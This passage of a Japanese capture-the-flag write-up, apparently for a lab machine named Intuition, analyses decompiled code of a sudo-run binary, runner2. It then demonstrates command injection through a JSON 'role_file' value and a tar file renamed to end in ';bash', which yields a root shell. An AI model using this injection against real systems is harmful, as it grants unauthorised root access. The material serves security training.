if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
uVar6 = json_string_value(piVar4);
iVar1 = check_auth(uVar6);
認証後、認証に成功した場合は入力した番号に応じたrunPlaybook()
が実行されます。/opt/playbooks
ディレクトリにアクセスできない場合や番号が適切ではない場合、エラーとなります。
iVar1 = json_integer_value(piVar3);
__dirp = opendir("/opt/playbooks/");
if (__dirp == (DIR *)0x0) {
perror("Failed to open the playbook directory");
return 1;
}
local_80 = 1;
local_78 = (char *)0x0;
while (pdVar7 = readdir(__dirp), pdVar7 != (dirent *)0x0) {
if ((pdVar7->d_type == '\b') &&
(pcVar5 = strstr(pdVar7->d_name,".yml"), pcVar5 != (char *)0x0)) {
if (local_80 == iVar1) {
local_78 = pdVar7->d_name;
break;
}
local_80 = local_80 + 1;
}
}
closedir(__dirp);
if (local_78 == (char *)0x0) {
fwrite("Invalid playbook number.\n",1,0x19,stderr);
}
else {
runPlaybook(local_78);
}
}
goto LAB_00101db5;
action : install
action
でinstall
が指定された場合、run
の時と同様にauth key
による認証が行われます。
piVar3 = (int *)json_object_get(piVar3,"role_file");
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
uVar6 = json_string_value(piVar4);
iVar1 = check_auth(uVar6);
認証後、認証に成功した場合は、指定したrole_file
に対してinstallRole()
を実行します。
if (iVar1 != 0) {
if ((piVar3 == (int *)0x0) || (*piVar3 != 2)) {
fwrite("Role File missing or invalid for \'install\' action.\n",1,0x33,stderr);
}
else {
uVar6 = json_string_value(piVar3);
installRole(uVar6);
}
goto LAB_00101db5;
}
簡単なものではありますが、プログラムの全体像が見えてきました。
とりあえず実行がうまくいく形に持っていきたいので、JSONファイルを用意しコマンドが正常に実行できるか試してみましょう。一旦以下のようなJSONファイルを用意しました。
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ cat list.json
{
"run": {
"action": "list",
"auth_code": "UHI75GHINKOP"
}
}
こちらを指定して、runner2
を実行してみましょう。
lopez@intuition:~$ sudo /opt/runner2/runner2 list.json
1: apt_update.yml
実行に成功しました!
Command Injection
action
がlist
の時に実行される処理は特に脆弱な部分はありそうにないので、もっと深くコードを調べていきます。
action
がrun
の時は最終的にrunPlaybook
が実行されます。この関数のコードは以下の通りです。
void runPlaybook(undefined8 param_1)
{
long in_FS_OFFSET;
char local_418 [1032];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
snprintf(local_418,0x400,"%s -i %s %s%s","/usr/bin/ansible-playbook",
"/opt/playbooks/inventory.ini","/opt/playbooks/",param_1);
system(local_418);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
コードの中でsystem
関数が使用されています。system
関数に使用されているlocal_418
はsnprintf
でansible-playbook
コマンドが作成され、変数に格納されています。
param_1
を任意の文字列へ変更することができれば、コマンドインジェクションが発火しそうですが...
local_78 = (char *)0x0;
while (pdVar7 = readdir(__dirp), pdVar7 != (dirent *)0x0) {
if ((pdVar7->d_type == '\b') &&
(pcVar5 = strstr(pdVar7->d_name,".yml"), pcVar5 != (char *)0x0)) {
if (local_80 == iVar1) {
local_78 = pdVar7->d_name;
break;
}
local_80 = local_80 + 1;
}
}
closedir(__dirp);
if (local_78 == (char *)0x0) {
fwrite("Invalid playbook number.\n",1,0x19,stderr);
}
else {
runPlaybook(local_78);
変更することはできないので、発火しそうにありません。
ということは、action
がrun
の場合も特に脆弱ではないようです。
では続いて、action
にinstall
が指定された場合を深く見てみましょう。この場合、最終的にinstallRole
という関数が実行されます。コードは以下の通りです。
void installRole(undefined8 param_1)
{
int iVar1;
long in_FS_OFFSET;
char local_418 [1032];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
iVar1 = isTarArchive(param_1);
if (iVar1 == 0) {
fwrite("Invalid tar archive.\n",1,0x15,stderr);
}
else {
snprintf(local_418,0x400,"%s install %s","/usr/bin/ansible-galaxy",param_1);
system(local_418);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
こちらでも同じように、snprintf
を使用して、コマンドが作成されsystem
関数が使用されています。param_1
が変更できそうかどうか見てみましょう。
piVar3 = (int *)json_object_get(piVar3,"role_file");
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
uVar6 = json_string_value(piVar4);
iVar1 = check_auth(uVar6);
if (iVar1 != 0) {
if ((piVar3 == (int *)0x0) || (*piVar3 != 2)) {
fwrite("Role File missing or invalid for \'install\' action.\n",1,0x33,stderr);
}
else {
uVar6 = json_string_value(piVar3);
installRole(uVar6);
}
role_file
をJSONの値から取得しているので、任意の文字にできそうです!コマンドインジェクションが発火する可能性があるので、試してみましょう。
まずは、JSONファイルを作成します。今回作成したファイルは以下の通りです。
lopez@intuition:~$ cat install.json
{
"run": {
"action": "install",
"role_file": "test.txt;bash"
},
"auth_code": "UHI75GHINKOP"
}
role_file
のファイル名の最後にセミコロンを使用し、bash
を実行するようにしました。このJSONファイルを引数に指定し、実行してみましょう。
lopez@intuition:~$ sudo /opt/runner2/runner2 install.json
Invalid tar archive.
tarファイルが適切ではないというエラーが出力されてしまいました。適切なtarファイルを指定する必要があるようです。
では、どのように用意するかですが、これは簡単です。ネットに公開されているansible
のテンプレートをダウンロードし、ターゲット上に展開します。
私はリポジトリをZIPファイルでダウンロードし、scp
で転送する方法を選びました。転送後、unzip
を実行し、展開します。
lopez@intuition:~$ unzip ansible-role-template-main.zip
Archive: ansible-role-template-main.zip
b4227d8e13fff85ede6a6e692920f25532241406
creating: ansible-role-template-main/
creating: ansible-role-template-main/.config/
...
extracting: ansible-role-template-main/tests/test.yml
creating: ansible-role-template-main/vars/
extracting: ansible-role-template-main/vars/main.yml
次に、このテンプレートのtarファイルを作成します。
lopez@intuition:~$ tar -czvf test.tar.gz ansible-role-template-main/
ansible-role-template-main/
ansible-role-template-main/vars/
ansible-role-template-main/vars/main.yml
ansible-role-template-main/.github/
ansible-role-template-main/.github/ISSUE_TEMPLATE/
ansible-role-template-main/.github/ISSUE_TEMPLATE/feature_request.md
ansible-role-template-main/.github/ISSUE_TEMPLATE/bug_report.md
...
ansible-role-template-main/tests/inventory
ansible-role-template-main/CONTRIBUTING.md
ansible-role-template-main/README.md
ファイルの名前は何でもいいです。作成できたら、JSONファイル内のrole_file
に作成したtarファイルを指定します。
lopez@intuition:~$ cat install.json
{
"run": {
"action": "install",
"role_file": "/home/lopez/test.tar.gz;bash"
},
"auth_code": "UHI75GHINKOP"
}
そして最後にtarファイルの名前をコマンドインジェクションの形に対応させます。
lopez@intuition:~$ mv test.tar.gz test.tar.gz\;bash
これで準備万端です!
root としてのシェル
それでは、runner2
を実行していきましょう!
lopez@intuition:~$ sudo /opt/runner2/runner2 install.json
Starting galaxy role install process
[WARNING]: - /home/lopez/test.tar.gz was NOT installed successfully: Unknown error when attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error
[Errno -3] Temporary failure in name resolution>
ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
root@intuition:/home/lopez# whoami
root
権限昇格に成功しました!
root@intuition:~# ls -l
total 16
drwxr-xr-x 2 root root 4096 Apr 10 08:21 keys
-rw-r----- 1 root root 33 May 3 02:53 root.txt
drwxr-xr-x 5 root root 4096 Sep 19 2023 scripts
drwx------ 4 root root 4096 Aug 26 2023 snap
ルートフラグも取得し、完全攻略達成です!